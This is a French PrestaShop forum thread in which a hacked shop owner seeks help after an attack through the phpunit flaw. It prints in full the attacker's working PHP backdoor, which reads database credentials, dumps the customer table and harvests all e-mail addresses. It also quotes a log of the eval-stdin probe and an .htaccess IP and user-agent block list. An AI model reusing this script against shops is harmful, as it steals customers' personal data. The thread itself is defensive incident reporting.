Jump to content

Faille de Sécurité (Suite?...)


Recommended Posts

Bonjour à tous,

Ma config : Prestashop 1.7.6.2 - Version de PHP : 7.2.26 - Liste des fichiers modifiés : Aucun changement n'a été détecté sur vos fichiers - Hébergeur 1and1 - Url du site : https://xado-france.com

Il semblerait que nous ayons été, malheureusement pour nous, les premiers (ou dans les premiers) à avoir été piratés par l'attaque sur le module navigation à facette et surtout sur le phpunit. Inutile de me sauter dessus, je ne jette la pierre à personne (cf. mon premier post sur l'attaque du module navigation à facette). Je souhaite juste informer ceux qui auraient été confrontés à la même situation qu'il y a peut-être d'autre failles à trouver, et dans le même temps, demander votre assistance pour trouver la faille ÉVENTUELLE dont l'équipe Prestashop m'a informé ce matin (voir plus bas).

Petit historique pour comprendre :

Hier matin (jeudi 16 janvier 2020) j'ai reçu une alerte de Google Search Console m'informant de l'apparition de "Top Error" (problème que nous n'avons jamais rencontré avec Prestashop jusqu'à maintenant!) Mais si ces erreurs sont une conséquence, ce n'est pas le fond du problème, et il semblerait que nous soyons de nouveau confrontés à un intrusion, et je vous en donne les explications :

Suite à l'alerte de Google Search Console, je suis allé voir immédiatement dans la console ce qu'il en était, et il en ressort que tout allait bien jusqu'à la date précise du 15 janvier 2020, date, à laquelle ces erreurs ont été détectées pour la première fois.

Je suis aussitôt retourné sur l'hébergement, et j'y ai trouvé un nouveau fichier, installé à la racine du site, le 15 janvier, nommé Updating.php et, étant incapable d'en déterminer la fonction, je vous mettrai le contenu ci-après (afin que des gens plus compétents que moi puissent à leur tour y jeter un oeil, et y trouver une parade).

J'ai tenté de procéder à une restauration de l'espace web à une date antérieure, en modifiant tous les identifiants, mots de passe, des comptes (hébergeur, ftp, utilisateurs), j'ai aussi renommé le dossier Admin, créé une nouvelle base de donnée avec de nouveaux identifiants et j'y ai importé la sauvegarde de la base de donnée initiale, mais l'accès à l'Admin ne m'a rien donné d'autre qu'une erreur 500. L'Admin fonctionne parfaitement en mode débug, mais impossible d'y accéder autrement. Par contre, en remettant le mot de passe de la base présente sur le site au moment de l'intrusion (en date du 15 janvier), tout refonctionne normalement. (Question : est ce que le fichier Updating.php a modifié quelque chose, m'empêchant de changer le mot de passe de la base de donnée? C'est une procédure que j'ai déjà effectué pour dupliquer le site afin d'avoir une version test avant modifications définitives, et ça a toujours bien fonctionné. Mais là, impossible de modifier le mot de passe sans avoir cette erreur 500).

J'ai donc été contraint de revenir à mon site initial (comme je l'avais trouvé le matin ... mais sans le fichier Updating.php).

Et, en fin de journée, après m'être agacé toute la journée à essayer de réparer, sans succès, cette erreur 500, en revenant dans l'espace d'hébergement, un nouveau fichier était apparu, toujours à la racine du site, mais s'appelait cette fois readme.php.

Après ouverture dans notepad, il s'est avéré qu'il contenait exactement le même code que celui contenu dans le fichier Updating.php. La réapparition du même code sous un nom de fichier différent prouve, d'après moi, qu'il s'agit : 1) d'une intervention humaine, car une fonction automatique renverrait surement le même fichier avec le même nom, et 2) que c'est malhonnête, puisqu'un développeur qui crée un module n'a aucune raison de procéder à l'installation du même fichier en le renommant.

J'ai donc informé, hier soir, l'équipe Prestashop Addons hier et ils m'ont répondu ce matin (chapeau pour la rapidité) que le pirate avait pu aménager des "backdoors" pour agir librement sur le site, mais ils ne m'ont rien dit, quant à la fonction du fichier Updating.php.

Donc, si je vous raconte tout ceci, c'est tout d'abord pour que celles et ceux qui ont été (ou seront) confronté(s) à la faille phpunit (et à l'attaque XsamXadoo) sachent qu'il y a peut-être autre chose à trouver, et qu'en cherchant des solutions, ils puissent tomber sur ce post qui pourrait les aider, dans l'éventualité, bien sûr, où quelqu'un connaisse une solution ou soit en mesure de donner des pistes à creuser.

Petite information intéressante sur la sécurisation de Prestashop : J'ai trouvé et installé un script qui devrait m'éviter certains problèmes de ce genre à l'avenir. C'est pourquoi, ce recommande, à celles et ceux qui, comme moi, n'ont pas les compétences des supers cracks que sont les développeurs, et qui ne le connaissent pas et/ou qui sont en recherche de sécurité sur leur site Prestashop, de l'installer. Il est très simple à utiliser et installer, les explications fournies sont assez claire pour être comprise par tous ceux qui se dépatouillent un peu en php comme moi sans avoir les compétences d'un programmeur. MAIS ATTENTION : ce script ne protège pas, il ne fait que vous informer, après coup, de changements qui auraient eu lieu sur les fichiers de votre site (ce qui est déjà pas mal, mais le mieux est quand même d'agir en amont, si on le peut). Des développeurs ont créé des modules de protection que je vous recommande fortement, et quand nous même, aurons résolus nos problèmes, il est fort probable que nous fassions l'investissement dans une module de ce genre) mais "il faut d'abord désinfecter avant de mettre un pansement".

C'est un script qui, assorti d'une tâche CRON, permet de scanner le contenu du répertoire d’installation du site, à intervalles réguliers, et de recevoir par mail, la liste des fichiers ayant subi une modification entre chaque scan. 'Vous pourrez trouver ce script gratuit de détection de hacking ici. Et m'est avis, que, le compléter avec le script security.php de Webbax est une bonne idée. (si d'autres ont des olutions à proposer, je suis preneurs ainsi que ceux qui liront ce post.). Et pourtant, je pensais avoir fait ce qu'il falait pour sécuriser le site en insréant ces script dans le .htaccess :

<FilesMatch "\.tpl$">
order deny,allow
deny from all
</FilesMatch>

# SECURISATION DES ACCES AUX FICHIERS
<Files ~ "^.*\.([Hh][Tt][Aa])">
 order allow,deny
 deny from all
 satisfy all
</Files>
<FilesMatch "\.(inc|tpl|h|ihtml|sql|ini|conf|class|bin|spd|themes|modules|exe|asa|bak|old)$">
deny from all
</FilesMatch>

# DÉSACTIVATION DE LA SIGNATURE DU SERVEUR
ServerSignature Off

# Empêche la mise sous frames (clickjacking)
Header always append X-Frame-Options SAMEORIGIN
 
# Désactivation du "MIME sniffing"
Header set X-Content-Type-Options "nosniff"
 
# Blocage des attaques XSS (nb : propre à Internet Explorer 8/9)
Header set X-XSS-Protection "1; mode=block"

Pour revenir au problème du fichier mystère, l'équipe Prestashop m'a recommandé de faire une comparaison entre les fichiers présents sur notre site et ceux fournis dans leur .zip pour trouver les différences. Même si c'est long et fastidieux, je vais m'y coller. Quelqu'un connaîtrait-il un script qui permette d'automatiser le chose?

Je me suis déjà bien étalé, alors je m'arrête là, et vous donne le contenu des fichiers Updating.php et readme.php dont je vous ai parlé :
 

<?php
ini_set('memory_limit', '-1');
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', 0);


function export_db($host,$user,$pass,$name)
{

    $conn = new mysqli($host,$user,$pass);
    if ($conn->connect_error) {
        die("DATABASE CONNEXION ERROR - CHECK THE CONFIG MANUEL - EDIT LINE *");
    }
    $sql_query = "SELECT * FROM $name.`ps_customer`";
    $result = $conn->query($sql_query);
    $f = fopen('php://temp', 'wt');
    $first = true;
    while ($row = $result->fetch_assoc()) {
        if ($first) {
            fputcsv($f, array_keys($row));
            $first = false;
        }
        fputcsv($f, $row);
    } // end while
    $conn->close();
    rewind($f);
    $EE = $_SERVER['HTTP_HOST'];
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Content-type: text/x-csv");
    header("Content-type: text/csv");
    header("Content-type: application/csv");
    header("Content-Disposition: attachment; filename=$EE-ps_customer.csv");
    fpassthru($f);
    exit;

}

function extract_mail($host, $user, $pass)
{
    $con = mysqli_connect($host,$user,$pass);
    if (mysqli_connect_errno()) {
      echo "DATABASE CONNEXION ERROR - CHECK THE CONFIG MANUEL - EDIT LINE *";
      exit();
    }else{
        $file = 'email___S.txt';
        $fp = fopen($file,'a');
        $databases = cmd("SHOW DATABASES", $con);
        foreach($databases as $database){
            $tables = cmd("SHOW TABLES FROM $database", $con);
            foreach($tables as $table){
                $columns = cmd("SHOW COLUMNS FROM $database.$table", $con);
                foreach($columns as $column){
                    $emails = cmd("SELECT $column FROM  $database.$table WHERE $column REGEXP '[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]'", $con);
                    foreach($emails as $email){
                        if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
                            if(preg_match($email,file_get_contents($file))) continue;
                            fwrite($fp,"$email\n");
                        }else{
                            foreach(preg_split("/\s/",$text) as $string){
                                if (filter_var($string,FILTER_VALIDATE_EMAIL)) {
                                    if(preg_match($string,file_get_contents($file))) continue;
                                    fwrite($fp,"$string\n");
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    $E = $_SERVER['HTTP_HOST'];
    $FFF = file_get_contents($file);
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Content-type: text/plain");
    header("Content-Disposition: attachment; filename=$E-email____S.txt");
    echo ($FFF);
    unlink($file);

}
function cmd($query, $go)
{
    $rzlt = array();
    if ($result = mysqli_query($go, $query)) {
      while ($row = mysqli_fetch_row($result)) {
        $rzlt[] = $row[0];
      }
      return $rzlt;
      mysqli_free_result($result);
      }
}

$a = file_get_contents($_SERVER['DOCUMENT_ROOT'].'/config/settings.inc.php');
if (strpos($a, '_DB_SERVER_') == false) {
    //echo "try manuel - no config founded - EDIT LINE 21";
    $b = file_get_contents($_SERVER['DOCUMENT_ROOT'].'/app/config/parameters.php');
    if (!$b) {
        echo "try manuel - no config founded - EDIT LINE 21";
    }else{
        preg_match('/\'database_host\' => \'(.*)\'/', $b, $matches);
        preg_match('/\'database_user\' => \'(.*)\'/', $b, $matches2);
        preg_match('/\'database_password\' => \'(.*)\'/', $b, $matches3);
        preg_match('/\'database_name\' => \'(.*)\'/', $b, $matches4);
        $host   = $matches[1];
        $user   = $matches2[1];
        $pass   = $matches3[1];
        $name   = $matches4[1];
        //echo "$host, $user, $passwd, $name, 2";
        extract_mail($host, $user, $pass);
        export_db($host,$user,$pass,$name);
    }
}else{
    //print_r("start grabbing");

    preg_match('/(\'_DB_SERVER_\', \'(.*)\')/', $a, $matches);
    preg_match('/(\'_DB_USER_\', \'(.*)\')/', $a, $matches2);
    preg_match('/(\'_DB_PASSWD_\', \'(.*)\')/', $a, $matches3);
    preg_match('/(\'_DB_NAME_\', \'(.*)\')/', $a, $matches4);
    // REQUIRED CONFIG
    $host   = $matches[2];
    $user   = $matches2[2];
    $pass   = $matches3[2];
    $name   = $matches4[2];
    // EDIT THE LINE DOWN IF NOTHING FONDED
    //echo "$host, $user, $passwd, $name, 1";
    extract_mail($host, $user, $pass);
    export_db($host,$user,$pass,$name);
}



?>

 

Link to comment
Share on other sites

A le lire ce fichier récupère toutes les adresses email qui sont valides syntaxiquement en base de données dans la table ps_customer.

Il commence par masquer les erreurs puis cherche les identifiants dans le fichier setting (si 1.6 ou inférieur) ou parameters si 1.7 et envoie le tout au navigateur du hacker dans le fichier email___S.txt qu'il détruit ensuite.

Link to comment
Share on other sites

Ce fichier (Updating, readme) sert à te voler les adresses mails de tes clients.

Je me permet de te rappeler ce que je t'avais dit dès le premier jour.

Les hackers installent de nouvelles backdoor en premier.

Compare l'intégralité de ton code avec le code natif. Inspectes tous tes modules. Analyses tous les index.php, ...

Link to comment
Share on other sites

Merci beaucoup à tous les deux.

Doekia, j'avais bien pris en considérations tes suggestions, mais je n'ai pas eu le temps de m’atteler à tout ce qu'il y a à faire d'un seul coup. Je pense que tu l'as compris, je me débrouille, en général, mais suis très loin d'avoir ton niveau de compétences. Alors, je fais ce que je peux avec les moyens du bords et au rythme auquel je peux pêcher les informations, et j'apprends.

Et encore une fois, je prends note de ce que tu me dis et atèle tout de suite à la tâche.

Je vais donc chercher cette faille et comparer les fichiers.

Merci encore.

... et si d'autres suggestions vous viennent, je suis preneur.

Link to comment
Share on other sites

Merci Eolia. Pour les logs, j'y avais pensé, mais c'est là que j'ai commis l'erreur d'effacer tout de suite les fichiers en question. Du coup, je me souviens bien que c'était le 15, mais quant à savoir l'heure, je n'en ai aucune idée.

Quant aux recherches que j'ai pu mener dans les fichiers log, je n'ai aucune traces relative aux fichiers updating et php.

J'en profite pour faire un petit bilan de mes avancées :

J'ai pu télécharger un script (encore de Webbax) permettant d'installer un antivirus php qui m'a permis de trouver de nouveaux fichiers infectés :

- /AdminXXX/themes/default/js/jquery.iframe-transport.js
- /AdminXXX/themes/new-theme/public/main.bundle.js
- /js/admin/login.php
- /js/jquery/loader.php
- /licence.php
- /modules/autoupgrade/vendor/twig/twig/lib/Twig/Test/IntegrationTestCase.php
- /pdf/invoice.php
- /vendor/smarty/smarty/libs/sysplugins/smarty_internal_runtime_tplfunction.php
- /vendor/twig/twig/src/Test/IntegrationTestCase.php

J'ai procédé au remplacement de tous les fichiers trouvé par leur double originaux extrait du zip Prestashop pour ceux qui en avaient (car ils n'en avaient pas tous), et j'ai supprimé les autres.

*** La question que je me pose maintenant avant d'acheter un module de sécurité sur Prestashop addons, c'est de savoir si, en prenant en compte que Prestashop est l'un des script les plus sécurisés, il peut exister d'autres failles, backdoors, et si oui, comment les trouver? Est-ce qu'un module suffira à bloquer les autres failles potentielles? Est-ce que, si d'autre fichiers ont été modifiés l'un des modules ci-après cités, répareront les brèches?

*** La seconde question est de savoir quel module prendre? j'en ai trouvé plusieurs qui me semblent tous bien, mais leurs prix tellement différents me laissent dubitatifs quant à leurs capacités de protection. Voici ceux que j'ai trouvé (et peut-être en avez vous d'autres à me suggérer?) :

- Security Pro

- ProtectMyShop

Module Sécurité facile / Anti SQL Injection PRO

*** Et la dernière question (en tout cas pour l'instant) est de savoir si je dois rechercher d'autres failles avant d'installer l'un de ces modules, ou bien si l'installation de ces modules fermera les éventuelles failles existantes / fichiers déjà modifiés ou insérés ?

Merci pour vos commentaires à tous.

 

PS : Si ca peut intéresser certains d'entre vous, j'ai sauvegardé les fichiers que l'antivirus a trouvé. Je peux vous fournir le contenu des fichiers pour en connaître le contenu.

Dites moi si vous voulez les codes.

 

Link to comment
Share on other sites

Re-bonjour à tous,

J'ai beau faire, je n'arrive pas à relancer le presta.

Je repars donc sur une installation clean d'un presta, mais je voudrais modifier le préfixe des tables de la base de données.

Donc, insérer un nouveau préfixe lors de l'installation, c'est facile, mais modifier le préfixe des tables dans phpmyAdmin de l'ancienne base de donnée pour faciliter l'import des anciennes données dans la nouvelle base, j'ai un soucis.

Est ce que quelqu'un connaîtrait un moyen simple, une requête sql qui pourrait me permettre de renommer toutes les tables ayant le préfixe AAA vers le préfixe BBB?

J'ai beau chercher sur le net, tous les scripts que j'arrive à trouver sont dépréciés ou erronés et ca fait trois jours que je galère.

Merci d'avance pour votre aide

Link to comment
Share on other sites

  • 3 weeks later...

Bon, mauvaise nouvelle, pour moi, mais pas seulement.

J'ai utilisé le module de Soluka pour trouvé les phpunit, et aussi celui de Comonsoft, et tous les deux me disent que tout est ok. Que je n'ai pas de phpunit sur mon presta. Le module de Webbax ne fonctionne plus (alors qu'il avait bien fonctionné avant) car il me renvoit un bad token alors que le jeton est le bon (celui mentionné dans le fichier)

En regardant mes logs, j'ai trouvé ceci :

5.101.0.0 - - [04/Feb/2020:10:13:29 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 823 217.160.120.163:80 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"
Il y a donc des répertoire php unit qui sont passé au travers des modules de détection.

J'ai lancé, il y a quelques minutes, une recherche de fichiers distant avec FileZilla pour trouver les répertoire contenant phpunit, je vais voir s'il m'en trouve d'autre.

Mais donc, si le problème persiste pour moi, je ne dois pas être le seul.

J'en ai marre de ces p.... de Hackers de m.....

Link to comment
Share on other sites

Merci Doekia. 

Ton fail2ban m'intéresse. Ca s'installe dans un répertoire Presta? Si oui, où? Y'a t'il des morceaux de code à personnaliser ou bien, juste un copier coller?

Sinon, j'ai viré manuellement deux autres répertoires phpunit (qui sont passés au travers des détections des modules Soluka et ComonSoft) , avec FileZilla, je les ai trouvé ici :

 .../vendor/NewFiles/symfony/symfony/src/Symfony/Bridge/PhpUnit

et là :

.../adminXXX/autoupgrade/latest/vendor/symfony/symfony/src/Symfony/Bridge/PhpUnit

Le propriétaire du site, plus qu'échaudé par toutes ces histoires veut acheter deux modules de sécurité maintenant. J'en ai trouvé deux qui me paraissent avoir une série de fonctions communes (donc, à n'activer que dans un seul), plus chacun, d'autres fonctions complémentaires. Afin d'être totalement protégé, je me pose la question de la pertinence de l'achat de deux modules (les modules que j'envisage sont ceux-ci : "Module Protection du magasin PRO/Anti-Piratage" et "Module Security Pro")... et je suis en train de réaliser, si j'installer ces modules, est-ce que le fail2ban conserve une utilité?

En attendant de prendre une décision concernant les modules, et après étude de mon fichier Log, j'ai rajouté ceci à mon htaccess, est ce que parait correct? (je parle, en terme de syntaxe) (Et, à voir après le code, la liste des modules que teste le(s) pirate(s), et qui, à mon avis sont donc corruptibles - S'il les cherche, c'est qu'il peut les craquer?!)

Deny from 2a01:4f8:100::
Deny from 23.100.29.0
Deny from 23.100.232.0
Deny from 46.118.124.0
Deny from 46.118.126.0
Deny from 74.125.191.0
Deny from 92.184.116.0
Deny from 34.252.230.0
Deny from 34.252.230.0
Deny from 46.118.121.0
Deny from 46.118.126.0
Deny from 54.36.148.0
Deny from 95.163.255.0
Deny from 141.8.189.0
Deny from 141.226.36.0
Deny from 159.138.151.0
Deny from 162.210.196.0
Deny from 167.86.71.0
Deny from 192.168.1.2
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} ^alexibot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^anarchie [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^AsiaNetBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^aesop_com_spiderman [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ASSORT [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^attache [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ATHENS [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^autohttp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^baiduspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^backweb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^bandit [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^batchftp [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^bew [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^bigfoot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^black.?hole [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:[email protected] [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^botalot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^buddy [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^builtbottough [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Bullseye [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^cheesebot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^CherryPicker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^cherry.?picker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^chinaclaw [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^collector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^copier [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^copyrightcheck [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^cosmos [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Crescent [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^crawler4j [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^custo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^curl [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^da [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Deweb [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^devsoft's\ http\ component [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^diibot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^disco [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^dittospyder [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^dragonfly [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Digimarc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Digger [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^digout4uagent [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^DIIbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^dloader(NaverRobot) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^drip [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EasyDL/\d\.\d+ [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ebingbong [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ecollector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Educate\ Search [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailCollector [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EO\ Browse [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^erocrawler [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^fastlwspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^FEZhead [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Fetch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Filehound [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^FlickBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Flunky [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Franklin\ Locator[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Full\ Web\ Bot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Getleft [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GetURL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWebPage [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Gozilla [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^go-ahead-got-it [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^google-xrawler [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^HTML\ Works [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ia_archiver [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^IBM_Planetwide [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ilsebot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^imagefetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^IncyWincy[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Industry\ Program[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Explore\ 5\.x [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InternetSeer.com [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Irvine [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^KWebGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^leech[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^LINKS\ ARoMATIZED [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^linkscan [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^LieBaoFast [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^likse [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^linkwalker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^magnet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^mag-net [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^markwatch [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^mata.?hari [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Mb2345Browser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^memo [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^miixpc [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^MCspider [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Microsoft\ URL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Mirror [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Missauga\ Locator[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Missigua\ Locator[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^mister\ pix [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^MJ12bot [NC]
RewriteCond %{HTTP_USER_AGENT} ^Monster [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^MSIECrawler [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^netattache [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetCarta [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Netcraft [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Netmechanic [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^nextgensearchbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NICErsPRO[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ninja [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^NPBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^OpaL [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Openfind [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^OpenTextSiteCrawler [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^PackRat [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pcbrowser|php.?version.?tracker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pockey [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^PersonaPilot [OR]
RewriteCond %{HTTP_USER_AGENT} ^Plucker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Production\ Bot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Program\ Shareware [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^propowerbot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^prowebwalker [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^pump [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^PushSite [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^rma [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^RepoMonkey [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Rover[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Rsync[NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SemrushBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SquigglebotBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^SurveyBot [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Siphon [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^ScoutAbout [NC,OR]
